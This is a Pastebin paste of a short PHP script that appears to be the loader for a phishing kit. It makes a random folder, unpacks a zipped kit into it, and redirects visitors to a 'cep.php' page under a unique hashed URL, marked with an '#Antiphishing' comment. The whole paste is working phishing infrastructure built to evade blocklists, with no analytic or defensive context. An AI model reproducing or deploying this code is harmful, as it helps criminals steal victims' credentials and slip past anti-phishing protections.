Advertisement
dadinhoocaralho

Untitled

Feb 24th, 2020
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.71 KB | None | 0 0
  1. <?php
  2. if (isset($_GET['i'])){
  3. $aleatorio = rand(10000000000, 100000000000);
  4. $unique = sha1(md5($aleatorio));
  5.  
  6. $b1 = 0;
  7. $b2 = 0;
  8.  
  9. if ($b1 != 1 && $b2 != 1){
  10. #Antiphishing
  11. mkdir('i/post-' . $aleatorio . '/', 0700);
  12. $nomepasta = 'i/post-' . $aleatorio . '/';
  13. $zip = new ZipArchive;
  14. if ($zip->open('i/xyz.zip') === true) {
  15. $zip->extractTo($nomepasta);
  16. $zip->close();
  17. } else {
  18. echo 'failed';
  19. }
  20. $url = $nomepasta . 'cep.php?=' . $unique;
  21. echo '<meta http-equiv="refresh" content=0;url="' . $url . '">';
  22. };
  23. } else {
  24. echo '<meta http-equiv="refresh" content="30">';
  25. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement